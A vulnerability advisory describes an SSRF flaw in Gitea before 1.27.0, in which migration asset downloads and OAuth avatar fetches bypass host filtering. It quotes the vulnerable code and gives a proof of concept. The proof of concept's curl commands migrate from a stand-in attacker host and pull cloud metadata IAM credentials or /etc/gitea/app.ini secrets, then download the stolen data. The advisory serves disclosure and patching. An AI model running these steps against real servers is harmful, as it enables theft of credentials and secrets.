code.gitea.io/gitea
Affected
- introduced
0, fixed1.27.0(semver)
Fixed versions
1.27.0
Fix
- Fixed version
1.27.0go get code.gitea.io/[email protected]
Advisory
Also known as: BIT-gitea-2026-34966, CVE-2026-34966, CVE-2026-59765, GO-2026-6039
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: `modules/uri/uri.go` (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}
Callers in migration path:
services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assetsservices/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patchesFile: `services/migrations/dump.go` (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader
File: `routers/web/auth/oauth.go` (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcher
Contrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)
PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"
Impact
169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)127.0.0.1, 10.x, 172.16-31.x, 192.168.x networkshostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotectedMedium Basis: The source's own band: MODERATE
0, fixed 1.27.0 (semver)1.27.0
1.27.0go get code.gitea.io/[email protected]0, fixed 1.27.0 (semver)1.27.0
1.27.0go get [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0